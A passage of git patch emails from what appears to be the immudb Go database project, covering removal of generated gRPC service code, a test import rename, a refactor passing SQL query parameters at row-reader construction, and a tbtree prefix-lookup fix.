(UnimplementedImmuServiceV2Server) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionCreate not implemented") -} -func (UnimplementedImmuServiceV2Server) CollectionGet(context.Context, *CollectionGetRequest) (*CollectionInformation, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionGet not implemented") -} -func (UnimplementedImmuServiceV2Server) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionList not implemented") -} -func (UnimplementedImmuServiceV2Server) CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionDelete not implemented") -} - -// UnsafeImmuServiceV2Server may be embedded to opt out of forward compatibility for this service. -// Use of this interface is not recommended, as added methods to ImmuServiceV2Server will -// result in compilation errors. -type UnsafeImmuServiceV2Server interface { - mustEmbedUnimplementedImmuServiceV2Server() -} - -func RegisterImmuServiceV2Server(s grpc.ServiceRegistrar, srv ImmuServiceV2Server) { - s.RegisterService(&ImmuServiceV2_ServiceDesc, srv) -} - -func _ImmuServiceV2_LoginV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(LoginRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).LoginV2(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/LoginV2", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).LoginV2(ctx, req.(*LoginRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentInsertRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).DocumentInsert(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/DocumentInsert", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).DocumentInsert(ctx, req.(*DocumentInsertRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentSearchRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).DocumentSearch(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/DocumentSearch", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).DocumentSearch(ctx, req.(*DocumentSearchRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionCreateRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).CollectionCreate(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionCreate", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).CollectionCreate(ctx, req.(*CollectionCreateRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_CollectionGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionGetRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).CollectionGet(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionGet", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).CollectionGet(ctx, req.(*CollectionGetRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionListRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).CollectionList(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionList", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).CollectionList(ctx, req.(*CollectionListRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionDeleteRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).CollectionDelete(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionDelete", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) - } - return interceptor(ctx, in, info, handler) -} - -// ImmuServiceV2_ServiceDesc is the grpc.ServiceDesc for ImmuServiceV2 service. -// It's only intended for direct use with grpc.RegisterService, -// and not to be introspected or modified (even as a copy) -var ImmuServiceV2_ServiceDesc = grpc.ServiceDesc{ - ServiceName: "immudb.schemav2.ImmuServiceV2", - HandlerType: (*ImmuServiceV2Server)(nil), - Methods: []grpc.MethodDesc{ - { - MethodName: "LoginV2", - Handler: _ImmuServiceV2_LoginV2_Handler, - }, - { - MethodName: "DocumentInsert", - Handler: _ImmuServiceV2_DocumentInsert_Handler, - }, - { - MethodName: "DocumentSearch", - Handler: _ImmuServiceV2_DocumentSearch_Handler, - }, - { - MethodName: "CollectionCreate", - Handler: _ImmuServiceV2_CollectionCreate_Handler, - }, - { - MethodName: "CollectionGet", - Handler: _ImmuServiceV2_CollectionGet_Handler, - }, - { - MethodName: "CollectionList", - Handler: _ImmuServiceV2_CollectionList_Handler, - }, - { - MethodName: "CollectionDelete", - Handler: _ImmuServiceV2_CollectionDelete_Handler, - }, - }, - Streams: []grpc.StreamDesc{}, - Metadata: "schemav2.proto", -} From c3c8033c681b7f62a7298a3d4c9ba05ec8062344 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Fri, 10 Mar 2023 10:19:05 +0100 Subject: [PATCH 0303/1062] Fixing test --- pkg/server/documents_operations_test.go | 26 ++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 0166dbae4a..2406db6fd1 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -22,7 +22,7 @@ import ( "testing" "github.com/codenotary/immudb/pkg/api/authorizationschema" - "github.com/codenotary/immudb/pkg/api/documentsschema" + "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/auth" "github.com/stretchr/testify/assert" "google.golang.org/grpc/metadata" @@ -43,22 +43,22 @@ func TestV2Authentication(t *testing.T) { ctx := context.Background() - _, err := s.DocumentInsert(ctx, &documentsschema.DocumentInsertRequest{}) + _, err := s.DocumentInsert(ctx, &documentschema.DocumentInsertRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.DocumentSearch(ctx, &documentsschema.DocumentSearchRequest{}) + _, err = s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionCreate(ctx, &documentsschema.CollectionCreateRequest{}) + _, err = s.CollectionCreate(ctx, &documentschema.CollectionCreateRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionDelete(ctx, &documentsschema.CollectionDeleteRequest{}) + _, err = s.CollectionDelete(ctx, &documentschema.CollectionDeleteRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionList(ctx, &documentsschema.CollectionListRequest{}) + _, err = s.CollectionList(ctx, &documentschema.CollectionListRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionGet(ctx, &documentsschema.CollectionGetRequest{}) + _, err = s.CollectionGet(ctx, &documentschema.CollectionGetRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) logged, err := s.OpenSessionV2(ctx, &authorizationschema.OpenSessionRequestV2{ @@ -75,22 +75,22 @@ func TestV2Authentication(t *testing.T) { md := metadata.Pairs("sessionid", logged.Token) ctx = metadata.NewIncomingContext(context.Background(), md) - _, err = s.DocumentInsert(ctx, &documentsschema.DocumentInsertRequest{}) + _, err = s.DocumentInsert(ctx, &documentschema.DocumentInsertRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.DocumentSearch(ctx, &documentsschema.DocumentSearchRequest{}) + _, err = s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionCreate(ctx, &documentsschema.CollectionCreateRequest{}) + _, err = s.CollectionCreate(ctx, &documentschema.CollectionCreateRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionDelete(ctx, &documentsschema.CollectionDeleteRequest{}) + _, err = s.CollectionDelete(ctx, &documentschema.CollectionDeleteRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionList(ctx, &documentsschema.CollectionListRequest{}) + _, err = s.CollectionList(ctx, &documentschema.CollectionListRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionGet(ctx, &documentsschema.CollectionGetRequest{}) + _, err = s.CollectionGet(ctx, &documentschema.CollectionGetRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) } From 4647894efa8c50f8dbde6087db0ef949549115c7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 14 Mar 2023 17:16:22 -0300 Subject: [PATCH 0304/1062] fix(embedded/sql): proper handling of parameters in row readers Signed-off-by: Jeronimo Irazabal --- embedded/sql/cond_row_reader.go | 4 --- embedded/sql/distinct_row_reader.go | 4 --- embedded/sql/dummy_row_reader_test.go | 5 --- embedded/sql/engine_test.go | 42 ++++++++++++++------------ embedded/sql/grouped_row_reader.go | 4 --- embedded/sql/joint_row_reader.go | 4 --- embedded/sql/limit_row_reader.go | 4 --- embedded/sql/offset_row_reader.go | 4 --- embedded/sql/proj_row_reader.go | 4 --- embedded/sql/row_reader.go | 6 ---- embedded/sql/stmt.go | 8 ++--- embedded/sql/union_row_reader.go | 11 ------- embedded/sql/union_row_reader_test.go | 12 +++----- embedded/sql/values_row_reader.go | 14 ++------- embedded/sql/values_row_reader_test.go | 33 +++++++------------- 15 files changed, 44 insertions(+), 115 deletions(-) diff --git a/embedded/sql/cond_row_reader.go b/embedded/sql/cond_row_reader.go index 0345d7ba3e..850dfc8679 100644 --- a/embedded/sql/cond_row_reader.go +++ b/embedded/sql/cond_row_reader.go @@ -54,10 +54,6 @@ func (cr *conditionalRowReader) Parameters() map[string]interface{} { return cr.rowReader.Parameters() } -func (cr *conditionalRowReader) SetParameters(params map[string]interface{}) error { - return cr.rowReader.SetParameters(params) -} - func (cr *conditionalRowReader) OrderBy() []ColDescriptor { return cr.rowReader.OrderBy() } diff --git a/embedded/sql/distinct_row_reader.go b/embedded/sql/distinct_row_reader.go index e8b567929a..6fae367c41 100644 --- a/embedded/sql/distinct_row_reader.go +++ b/embedded/sql/distinct_row_reader.go @@ -61,10 +61,6 @@ func (dr *distinctRowReader) Parameters() map[string]interface{} { return dr.rowReader.Parameters() } -func (dr *distinctRowReader) SetParameters(params map[string]interface{}) error { - return dr.rowReader.SetParameters(params) -} - func (dr *distinctRowReader) OrderBy() []ColDescriptor { return dr.rowReader.OrderBy() } diff --git a/embedded/sql/dummy_row_reader_test.go b/embedded/sql/dummy_row_reader_test.go index a4fbdb3885..b0480b5a1c 100644 --- a/embedded/sql/dummy_row_reader_test.go +++ b/embedded/sql/dummy_row_reader_test.go @@ -89,11 +89,6 @@ func (r *dummyRowReader) Parameters() map[string]interface{} { return r.params } -func (r *dummyRowReader) SetParameters(params map[string]interface{}) error { - r.params = params - return nil -} - func (r *dummyRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { if r.failInferringParams { return errDummy diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 367e9b65af..4a7f38936c 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1744,17 +1744,12 @@ func TestQuery(t *testing.T) { params = make(map[string]interface{}) params["some_param1"] = true - r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE active = @some_param1", nil) + r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE active = @some_param1", params) require.NoError(t, err) - _, err = r.Read(context.Background()) - require.ErrorIs(t, err, ErrMissingParameter) - - r.SetParameters(params) - row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) err = r.Close() require.NoError(t, err) @@ -1953,11 +1948,9 @@ func TestQueryDistinct(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 - r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id", nil) + r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id", params) require.NoError(t, err) - r.SetParameters(params) - cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) @@ -1981,11 +1974,9 @@ func TestQueryDistinct(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 - r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2", nil) + r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2", params) require.NoError(t, err) - r.SetParameters(params) - cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) @@ -2009,11 +2000,9 @@ func TestQueryDistinct(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 - r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2 OFFSET 1", nil) + r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2 OFFSET 1", params) require.NoError(t, err) - r.SetParameters(params) - cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) @@ -3316,8 +3305,6 @@ func TestGroupByHaving(t *testing.T) { ORDER BY active`, nil) require.NoError(t, err) - r.SetParameters(nil) - _, err = r.Read(context.Background()) require.Equal(t, ErrColumnDoesNotExist, err) @@ -3467,8 +3454,6 @@ func TestJoins(t *testing.T) { ORDER BY id DESC`, nil) require.NoError(t, err) - r.SetParameters(nil) - cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 4) @@ -5362,6 +5347,23 @@ func TestSingleDBCatalogQueries(t *testing.T) { require.ErrorIs(t, err, ErrNoMoreRows) }) + t.Run("querying tables with name equality comparison using parameters should return only one table", func(t *testing.T) { + params := make(map[string]interface{}) + params["name"] = "mytable2" + + r, err := engine.Query(context.Background(), tx, "SELECT * FROM TABLES() WHERE name = @name", params) + require.NoError(t, err) + + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].Value()) + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + }) + t.Run("unconditional index query should return all the indexes of mytable1", func(t *testing.T) { params := map[string]interface{}{ "tableName": "mytable1", diff --git a/embedded/sql/grouped_row_reader.go b/embedded/sql/grouped_row_reader.go index 92680f1523..53615a2d8d 100644 --- a/embedded/sql/grouped_row_reader.go +++ b/embedded/sql/grouped_row_reader.go @@ -180,10 +180,6 @@ func (gr *groupedRowReader) Parameters() map[string]interface{} { return gr.rowReader.Parameters() } -func (gr *groupedRowReader) SetParameters(params map[string]interface{}) error { - return gr.rowReader.SetParameters(params) -} - func (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) { for { row, err := gr.rowReader.Read(ctx) diff --git a/embedded/sql/joint_row_reader.go b/embedded/sql/joint_row_reader.go index 8632e90dd7..f27f56fb53 100644 --- a/embedded/sql/joint_row_reader.go +++ b/embedded/sql/joint_row_reader.go @@ -180,10 +180,6 @@ func (jointr *jointRowReader) Parameters() map[string]interface{} { return jointr.rowReader.Parameters() } -func (jointr *jointRowReader) SetParameters(params map[string]interface{}) error { - return jointr.rowReader.SetParameters(params) -} - func (jointr *jointRowReader) Read(ctx context.Context) (row *Row, err error) { for { row := &Row{ diff --git a/embedded/sql/limit_row_reader.go b/embedded/sql/limit_row_reader.go index ad179fbac3..7f8b305277 100644 --- a/embedded/sql/limit_row_reader.go +++ b/embedded/sql/limit_row_reader.go @@ -52,10 +52,6 @@ func (lr *limitRowReader) Parameters() map[string]interface{} { return lr.rowReader.Parameters() } -func (lr *limitRowReader) SetParameters(params map[string]interface{}) error { - return lr.rowReader.SetParameters(params) -} - func (lr *limitRowReader) OrderBy() []ColDescriptor { return lr.rowReader.OrderBy() } diff --git a/embedded/sql/offset_row_reader.go b/embedded/sql/offset_row_reader.go index f372995dea..c88b97faff 100644 --- a/embedded/sql/offset_row_reader.go +++ b/embedded/sql/offset_row_reader.go @@ -52,10 +52,6 @@ func (r *offsetRowReader) Parameters() map[string]interface{} { return r.rowReader.Parameters() } -func (r *offsetRowReader) SetParameters(params map[string]interface{}) error { - return r.rowReader.SetParameters(params) -} - func (r *offsetRowReader) OrderBy() []ColDescriptor { return r.rowReader.OrderBy() } diff --git a/embedded/sql/proj_row_reader.go b/embedded/sql/proj_row_reader.go index 89bb9b0187..82541ffe6f 100644 --- a/embedded/sql/proj_row_reader.go +++ b/embedded/sql/proj_row_reader.go @@ -182,10 +182,6 @@ func (pr *projectedRowReader) Parameters() map[string]interface{} { return pr.rowReader.Parameters() } -func (pr *projectedRowReader) SetParameters(params map[string]interface{}) error { - return pr.rowReader.SetParameters(params) -} - func (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) { row, err := pr.rowReader.Read(ctx) if err != nil { diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 06bde7bd0f..add9f2556f 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -30,7 +30,6 @@ type RowReader interface { Database() string TableAlias() string Parameters() map[string]interface{} - SetParameters(params map[string]interface{}) error Read(ctx context.Context) (*Row, error) Close() error Columns(ctx context.Context) ([]ColDescriptor, error) @@ -337,11 +336,6 @@ func (r *rawRowReader) InferParameters(ctx context.Context, params map[string]SQ return nil } -func (r *rawRowReader) SetParameters(params map[string]interface{}) (err error) { - r.params, err = normalizeParams(params) - return err -} - func (r *rawRowReader) Parameters() map[string]interface{} { return r.params } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 9ca60060eb..9b7ebcb97e 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -3703,7 +3703,7 @@ func (stmt *FnDataSourceStmt) resolveListDatabases(ctx context.Context, tx *SQLT values[i] = []ValueExp{&Varchar{val: db}} } - return newValuesRowReader(ctx, tx, cols, "*", stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, "*", stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { @@ -3727,7 +3727,7 @@ func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, values[i] = []ValueExp{&Varchar{val: t.name}} } - return newValuesRowReader(ctx, tx, cols, db.name, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, db.name, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { @@ -3822,7 +3822,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, } } - return newValuesRowReader(ctx, tx, cols, table.db.name, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, table.db.name, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { @@ -3879,5 +3879,5 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, } } - return newValuesRowReader(ctx, tx, cols, table.db.name, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, table.db.name, stmt.Alias(), values) } diff --git a/embedded/sql/union_row_reader.go b/embedded/sql/union_row_reader.go index 8430eecf07..60702b25f8 100644 --- a/embedded/sql/union_row_reader.go +++ b/embedded/sql/union_row_reader.go @@ -80,17 +80,6 @@ func (ur *unionRowReader) TableAlias() string { return "" } -func (ur *unionRowReader) SetParameters(params map[string]interface{}) error { - for _, r := range ur.rowReaders { - err := r.SetParameters(params) - if err != nil { - return err - } - } - - return nil -} - func (ur *unionRowReader) Parameters() map[string]interface{} { return ur.rowReaders[0].Parameters() } diff --git a/embedded/sql/union_row_reader_test.go b/embedded/sql/union_row_reader_test.go index df8adc1428..b66dd6b316 100644 --- a/embedded/sql/union_row_reader_test.go +++ b/embedded/sql/union_row_reader_test.go @@ -27,9 +27,14 @@ func TestUnionRowReader(t *testing.T) { _, err := newUnionRowReader(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) + params := map[string]interface{}{ + "param1": 1, + } + dummyr := &dummyRowReader{ database: "db1", failReturningColumns: true, + params: params, } _, err = newUnionRowReader(context.Background(), []RowReader{dummyr}) @@ -50,13 +55,6 @@ func TestUnionRowReader(t *testing.T) { require.Nil(t, rowReader.ScanSpecs()) - params := map[string]interface{}{ - "param1": 1, - } - - err = rowReader.SetParameters(params) - require.NoError(t, err) - require.Equal(t, params, rowReader.Parameters()) paramTypes := make(map[string]string) diff --git a/embedded/sql/values_row_reader.go b/embedded/sql/values_row_reader.go index da5392af47..0493350612 100644 --- a/embedded/sql/values_row_reader.go +++ b/embedded/sql/values_row_reader.go @@ -38,7 +38,7 @@ type valuesRowReader struct { closed bool } -func newValuesRowReader(ctx context.Context, tx *SQLTx, cols []ColDescriptor, dbAlias, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { +func newValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDescriptor, dbAlias, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { if len(cols) == 0 { return nil, fmt.Errorf("%w: empty column list", ErrIllegalArguments) } @@ -78,6 +78,7 @@ func newValuesRowReader(ctx context.Context, tx *SQLTx, cols []ColDescriptor, db return &valuesRowReader{ tx: tx, + params: params, colsByPos: colsByPos, colsBySel: colsBySel, dbAlias: dbAlias, @@ -106,17 +107,6 @@ func (vr *valuesRowReader) TableAlias() string { return vr.tableAlias } -func (vr *valuesRowReader) SetParameters(params map[string]interface{}) error { - params, err := normalizeParams(params) - if err != nil { - return err - } - - vr.params = params - - return nil -} - func (vr *valuesRowReader) Parameters() map[string]interface{} { return vr.params } diff --git a/embedded/sql/values_row_reader_test.go b/embedded/sql/values_row_reader_test.go index 57c432dce9..742782bfbf 100644 --- a/embedded/sql/values_row_reader_test.go +++ b/embedded/sql/values_row_reader_test.go @@ -24,23 +24,23 @@ import ( ) func TestValuesRowReader(t *testing.T) { - _, err := newValuesRowReader(context.Background(), nil, nil, "", "", nil) + _, err := newValuesRowReader(nil, nil, nil, "", "", nil) require.ErrorIs(t, err, ErrIllegalArguments) cols := []ColDescriptor{ {Column: "col1"}, } - _, err = newValuesRowReader(context.Background(), nil, cols, "", "", nil) + _, err = newValuesRowReader(nil, nil, cols, "", "", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = newValuesRowReader(context.Background(), nil, cols, "db1", "", nil) + _, err = newValuesRowReader(nil, nil, cols, "db1", "", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = newValuesRowReader(context.Background(), nil, cols, "db1", "table1", nil) + _, err = newValuesRowReader(nil, nil, cols, "db1", "table1", nil) require.NoError(t, err) - _, err = newValuesRowReader(context.Background(), nil, cols, "db1", "table1", + _, err = newValuesRowReader(nil, nil, cols, "db1", "table1", [][]ValueExp{ { &Bool{val: true}, @@ -49,7 +49,7 @@ func TestValuesRowReader(t *testing.T) { }) require.ErrorIs(t, err, ErrInvalidNumberOfValues) - _, err = newValuesRowReader(context.Background(), nil, + _, err = newValuesRowReader(nil, nil, []ColDescriptor{ {Table: "table1", Column: "col1"}, }, "", "", nil) @@ -61,28 +61,17 @@ func TestValuesRowReader(t *testing.T) { }, } - rowReader, err := newValuesRowReader(context.Background(), nil, cols, "db1", "table1", values) - require.NoError(t, err) - - require.Equal(t, "db1", rowReader.Database()) - require.Nil(t, rowReader.OrderBy()) - require.Nil(t, rowReader.ScanSpecs()) - - duplicatedParams := map[string]interface{}{ - "param1": 1, - "Param1": true, - } - - err = rowReader.SetParameters(duplicatedParams) - require.ErrorIs(t, err, ErrDuplicatedParameters) - params := map[string]interface{}{ "param1": 1, } - err = rowReader.SetParameters(params) + rowReader, err := newValuesRowReader(nil, params, cols, "db1", "table1", values) require.NoError(t, err) + require.Equal(t, "db1", rowReader.Database()) + require.Nil(t, rowReader.OrderBy()) + require.Nil(t, rowReader.ScanSpecs()) + require.Equal(t, params, rowReader.Parameters()) paramTypes := make(map[string]string) From 0f7298f40294251b1ecfba6ff4be546071874777 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 14 Mar 2023 14:42:40 -0300 Subject: [PATCH 0305/1062] fix(embedded/tbtree): fix snapshot getKeyWithPrefix Signed-off-by: Jeronimo Irazabal test(embedded/tbtree): getWithPrefix validations Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/snapshot.go | 10 ++++++- embedded/tbtree/tbtree.go | 24 ++++++++-------- embedded/tbtree/tbtree_test.go | 51 ++++++++++++++++++++++++++++++++++ 3 files changed, 72 insertions(+), 13 deletions(-) diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 9955bff52e..0c937e7b05 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -138,7 +138,15 @@ func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value [ leafValue := leaf.values[off] - return leafValue.key, cp(leafValue.value), leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil + if len(prefix) > len(leafValue.key) { + return nil, nil, 0, 0, ErrKeyNotFound + } + + if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { + return leafValue.key, cp(leafValue.value), leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil + } + + return nil, nil, 0, 0, ErrKeyNotFound } func (s *Snapshot) NewHistoryReader(spec *HistoryReaderSpec) (*HistoryReader, error) { diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 506f103a9b..18a6b4ff3d 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -227,7 +227,7 @@ type node interface { insert(kvts []*KVT) ([]node, int, error) get(key []byte) (value []byte, ts uint64, hc uint64, err error) history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) - findLeafNode(keyPrefix []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) + findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) minKey() []byte ts() uint64 setTs(ts uint64) (node, error) @@ -1928,7 +1928,7 @@ func (n *innerNode) history(key []byte, offset uint64, descOrder bool, limit int return n.nodes[n.indexOf(key)].history(key, offset, descOrder, limit) } -func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { +func (n *innerNode) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { metricsBtreeInnerNodeEntries.WithLabelValues(n.t.path).Observe(float64(len(n.nodes))) if descOrder { @@ -1940,8 +1940,8 @@ func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey continue } - if bytes.Compare(minKey, keyPrefix) < 1 { - return n.nodes[j].findLeafNode(keyPrefix, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) + if bytes.Compare(minKey, seekKey) < 1 { + return n.nodes[j].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) } } @@ -1955,7 +1955,7 @@ func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey for i := offset; i < len(n.nodes)-1; i++ { nextMinKey := n.nodes[i+1].minKey() - if bytes.Compare(keyPrefix, nextMinKey) >= 0 { + if bytes.Compare(seekKey, nextMinKey) >= 0 { continue } @@ -1963,7 +1963,7 @@ func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey continue } - path, leafNode, off, err := 